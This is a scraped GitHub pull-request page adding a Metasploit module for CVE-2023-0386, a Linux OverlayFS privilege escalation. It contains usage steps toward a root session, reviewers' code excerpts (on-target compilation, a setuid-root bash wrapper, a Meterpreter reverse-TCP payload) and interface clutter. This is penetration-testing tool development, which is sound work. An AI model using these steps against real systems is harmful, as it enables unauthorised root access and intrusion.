Add module: Linux Priv Esc (OverlayFS copying bug) CVE-2023-0386 #19441

Takahiro-Yoko · 2024-09-05T13:55:28Z

Vulnerable Application

This exploit targets the Linux kernel bug in OverlayFS.

A flaw was found in the Linux kernel, where unauthorized access to the execution of the setuid file with capabilities
was found in the Linux kernel’s OverlayFS subsystem in how a user copies a capable file from a nosuid mount into another mount.
This uid mapping bug allows a local user to escalate their privileges on the system.

The vulnerability affects:

* Linux kernel from (including) 5.11 up to (excluding) 5.15.91 and from (including) 5.16 Up to (excluding) 6.1.9

This module was successfully tested on:

* Ubuntu kernel version 5.13.0-1021-oem on x64/amd64
* Ubuntu kernel version 6.0.0-060000-generic on x64/amd64
* Ubuntu kernel version 6.0.19-060019-generic on x64/amd64
* Ubuntu kernel version 6.1.0-060100-generic on x64/amd64

Install

Install Ubuntu version 22.04 LTS
(Optional) Change kernel version

sudo apt update
sudo apt install -y linux-image-5.13.0-1021-oem linux-headers-5.13.0-1021-oem
reboot

Install the required libraries

sudo apt update
sudo apt install -y gcc cmake fuse libfuse-dev libcap-dev

Verification Steps

Make an Ubuntu
Create a meterpreter or shell payload and upload it to the Ubuntu target
Set up a handler for the payload
Launch the payload as a regular user on the Ubuntu target and connect the handler
Do: use exploit/linux/local/cve_2023_0386_overlayfs_priv_esc
Do: run session=<session> lhost=<lhost>
You should get a root

Linux Priv Esc (OverlayFS copying bug) CVE-2023-0386

jheysel-r7 · 2024-09-05T14:25:32Z

modules/exploits/linux/local/cve_2023_0386_overlayfs_priv_esc.rb

+    if live_compile? && command_exists?('xxd')
+      vprint_status('Live compiling exploit on system...')
+      upload_and_compile("#{exploit_dir}/shell", exploit_source('CVE-2023-0386', 'getshell.c'))
+      cmd_exec("cd #{exploit_dir} && xxd -i shell > shell.xxd")


For Meterepreter sessions after the cd command is executed the working directory will revert to the original directory, whereas in a shell session there will be a state change and the subsequent commands will be executed from the exploit_dir.

To better support Meterpreter sessions could you just pass in the relative directory to all commands instead running the cd?

Thank you for your comment!

I intend to use cd command just for xxd command.

When using xxd command, we need -n option to set the variable name used in C include output (-i). Seems like older xxd command does not have -n option.

Without -n option and pass relative path (full path in this case, though) to xxd, variable name becomes something below (maybe / and . convert to _?).

Handling this could cause some trouble, if not done correctly, so temporary change directory and run xxd command to specify file name without relative path. Is it acceptable?

Now I've updated a lot, and no longer need cd command. cd97b08
Thank you!

jheysel-r7 · 2024-09-05T14:26:46Z

modules/exploits/linux/local/cve_2023_0386_overlayfs_priv_esc.rb

+    register_file_for_cleanup(payload_path)
+
+    # Launch exploit
+    timeout = 30


Should this maybe be user configurable?

Thank you! See. dc81711

bwatters-r7

Thank you for the module! You may want to check out the overlayfs module I wrote a few years ago, as a lot of the ruby code will be the same, and I think it might be worthwhile to take the same approach for launching the payload directly from within the exploit code: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/cve_2021_3493_overlayfs.rb

bwatters-r7 · 2024-09-05T14:33:33Z

external/source/exploits/CVE-2023-0386/getshell.c

+        return -1;
+    }
+
+    system("/bin/bash");


Could we instead call the binary payload directly here?

Thank you!
I've tested directly calling payload using cd97b08 and 692531b (latter needs to set setuid and setgid in C code).
Seems like directly calling payload takes some time (about 1 min) to really open Meterpreter session after Meterpreter session opened message.

This one (not directly calling payload) is much faster (about a few sec). 8366252 (needs to set setuid and setgid in C code).

bwatters-r7 · 2024-09-05T14:34:20Z

modules/exploits/linux/local/cve_2023_0386_overlayfs_priv_esc.rb

+    cmd_exec("echo '#{payload_path} & exit' | #{exploit_dir}/cve-2023-0386", nil, timeout)
+  end
+
+  def get_exploit(exploit_dir)


We should move this to the metasploit-framework/data/external/source directory in a separate file.

Thank you! I've moved C code. cd97b08

bwatters-r7 · 2024-09-05T14:36:02Z

modules/exploits/linux/local/cve_2023_0386_overlayfs_priv_esc.rb

+
+    #include "shell.xxd"
+
+    #define DIR_BASE "#{exploit_dir}"


EDIT- I now understand why this all looks familiar; I wrote a module for a different overlyfs exploit. I passed the exploit dir and the payload in as a parameter. You cans ee my source here: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/cve_2021_3493_overlayfs.rb

Thank you! I've changed to pass the exploit directory and the payload in as a parameter. cd97b08

bwatters-r7 · 2024-09-05T14:36:40Z

modules/exploits/linux/local/cve_2023_0386_overlayfs_priv_esc.rb

+      upload_and_compile("#{exploit_dir}/shell", exploit_source('CVE-2023-0386', 'getshell.c'))
+      cmd_exec("cd #{exploit_dir} && xxd -i shell > shell.xxd")
+      write_file("#{exploit_dir}/cve-2023-0386.c", strip_comments(get_exploit("#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}")))
+      cmd_exec("gcc -o #{exploit_dir}/cve-2023-0386 #{exploit_dir}/cve-2023-0386.c -D_FILE_OFFSET_BITS=64 -static -lfuse -ldl -pthread")


Is there a reason you're using upload_and_compile above, but manually using gcc here?

I misunderstood upload_and_compile's second argument is a file path. cd97b08

bwatters-r7 · 2024-09-05T14:38:52Z

external/source/exploits/CVE-2023-0386/getshell.c

+
+
+int main(int argc, char const *argv[]) {
+    if (setuid(0) < 0) {


You're using setuid and setgid here, but also in the payload?
Since the set commands are supported in the binary payloads, I don't think this is needed unless we're supporting ARCH_CMD payloads, and I don't see you using them here?

EDIT- I don't think you need this; I think we can directly call the binary payload from within the exploit code itself.

Thank you!
cd97b08 does not need setuid and setgid.
Seems like 692531b and 8366252 need setuid and setgid, despite setting in the payload.

modules/exploits/linux/local/cve_2023_0386_overlayfs_priv_esc.rb

bwatters-r7 · 2024-09-05T14:45:20Z

modules/exploits/linux/local/cve_2023_0386_overlayfs_priv_esc.rb

+      cmd_exec("chmod +x #{exploit_dir}/cve-2023-0386")
+    else
+      vprint_status('Dropping pre-compiled exploit on system...')
+      upload_and_chmodx("#{exploit_dir}/cve-2023-0386", exploit_data('CVE-2023-0386', 'cve-2023-0386'))


How does this work if we need to change the exploit_dir value?

Thank you! I've added directory exist check and cleanup. 920ef70 1cc562c Correct?

I should use exploit_path? 9e832eb

use linux/x64/meterpreter_reverse_tcp Co-authored-by: Brendan <bwatters@rapid7.com>

modules/exploits/linux/local/cve_2023_0386_overlayfs_priv_esc.rb

jvoisin · 2024-09-06T12:23:05Z

modules/exploits/linux/local/cve_2023_0386_overlayfs_priv_esc.rb

+    end
+
+    # Upload exploit executable
+    exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"


Why create a directory for the exploit, instead of simply putting it into #{base_dir}?

While not strictly necessary, this code pattern was introduced in local exploit modules to keep all artifacts (such as temp files from compiling on-system) within one directory which can be deleted upon completion.

https://github.com/rapid7/metasploit-framework/pull/19441/files#diff-582239976447427dfe518f2db829db0f32f85069b220a831ef7c408b06957d34R153

Given this module performs a few rm -rf calls, I'd certainly feel safer keeping exploitation contained.

Thank you!

I'd certainly feel safer keeping exploitation contained.

I agree.

external/source/exploits/CVE-2023-0386/exploit.c

Use kernel_version.btween Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>

Avoid recursively delete files indiscriminate. Co-authored-by: bcoles <bcoles@gmail.com>

Takahiro-Yoko · 2024-09-09T12:29:54Z

Thank you for reviewing!
Now I've confirmed this module is successfully working on:

* Ubuntu kernel version 5.13.0-1021-oem on x64/amd64
* Ubuntu kernel version 6.0.0-060000-generic on x64/amd64
* Ubuntu kernel version 6.0.19-060019-generic on x64/amd64
* Ubuntu kernel version 6.1.0-060100-generic on x64/amd64

Takahiro-Yoko added 3 commits September 5, 2024 22:54

Add module:

3d20dd6

Linux Priv Esc (OverlayFS copying bug) CVE-2023-0386

Add last blank line

216590f

Strip comments

afb8c6c

bwatters-r7 self-assigned this Sep 5, 2024

jheysel-r7 reviewed Sep 5, 2024

View reviewed changes

bwatters-r7 reviewed Sep 5, 2024

View reviewed changes

Takahiro-Yoko and others added 5 commits September 6, 2024 08:24

Make timeout user configurable

dc81711

Update modules/exploits/linux/local/cve_2023_0386_overlayfs_priv_esc.rb

b243b86

use linux/x64/meterpreter_reverse_tcp Co-authored-by: Brendan <bwatters@rapid7.com>

Exploit dir existing check

920ef70

Use mkdir function

1cc562c

Move C code to separate file

cd97b08

jvoisin reviewed Sep 6, 2024

View reviewed changes

bcoles reviewed Sep 6, 2024

View reviewed changes

external/source/exploits/CVE-2023-0386/exploit.c Outdated Show resolved Hide resolved

Takahiro-Yoko and others added 17 commits September 6, 2024 21:45

Update modules/exploits/linux/local/cve_2023_0386_overlayfs_priv_esc.rb

7a921bb

Use kernel_version.btween Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>

Update external/source/exploits/CVE-2023-0386/exploit.c

ccc4727

Avoid recursively delete files indiscriminate. Co-authored-by: bcoles <bcoles@gmail.com>

Fix typo

d4ac300

Remove unnecessary check

a40fbb2

Remove unnecessary directory existing check

b34e807

Update pre-compiled binary

72a9164

Strip_comments

fd7321d

Use exploit_path variable

9e832eb

Formatting

731780c

Rename exploit

2b63f8b

Call payload directory

692531b

Not call payload directory

8366252

Add last blank line

212c96d

Remove options

8ddf8a0

Remove unused variables

dd93284

Update doc

b8f1bc3

Update doc

6b64640

Remove unnecessary strip_comments

30704c4

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Add module: Linux Priv Esc (OverlayFS copying bug) CVE-2023-0386 #19441

Add module: Linux Priv Esc (OverlayFS copying bug) CVE-2023-0386 #19441

Takahiro-Yoko commented Sep 5, 2024 •

edited

Loading

jheysel-r7 Sep 5, 2024

Takahiro-Yoko Sep 5, 2024

Takahiro-Yoko Sep 6, 2024

jheysel-r7 Sep 5, 2024

Takahiro-Yoko Sep 5, 2024

bwatters-r7 left a comment

bwatters-r7 Sep 5, 2024

Takahiro-Yoko Sep 7, 2024

bwatters-r7 Sep 5, 2024

Takahiro-Yoko Sep 6, 2024

bwatters-r7 Sep 5, 2024 •

edited

Loading

Takahiro-Yoko Sep 6, 2024

bwatters-r7 Sep 5, 2024

Takahiro-Yoko Sep 6, 2024

bwatters-r7 Sep 5, 2024

bwatters-r7 Sep 5, 2024

Takahiro-Yoko Sep 7, 2024

bwatters-r7 Sep 5, 2024

Takahiro-Yoko Sep 6, 2024 •

edited

Loading

Takahiro-Yoko Sep 7, 2024

jvoisin Sep 6, 2024

bcoles Sep 6, 2024

Takahiro-Yoko Sep 7, 2024

Takahiro-Yoko commented Sep 9, 2024



		int main(int argc, char const *argv[]) {
		if (setuid(0) < 0) {

Add module: Linux Priv Esc (OverlayFS copying bug) CVE-2023-0386 #19441

Are you sure you want to change the base?

Add module: Linux Priv Esc (OverlayFS copying bug) CVE-2023-0386 #19441

Conversation

Takahiro-Yoko commented Sep 5, 2024 • edited Loading

Vulnerable Application

Install

Verification Steps

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

bwatters-r7 left a comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

bwatters-r7 Sep 5, 2024 • edited Loading

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Takahiro-Yoko Sep 6, 2024 • edited Loading

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Takahiro-Yoko commented Sep 9, 2024

Takahiro-Yoko commented Sep 5, 2024 •

edited

Loading

bwatters-r7 Sep 5, 2024 •

edited

Loading

Takahiro-Yoko Sep 6, 2024 •

edited

Loading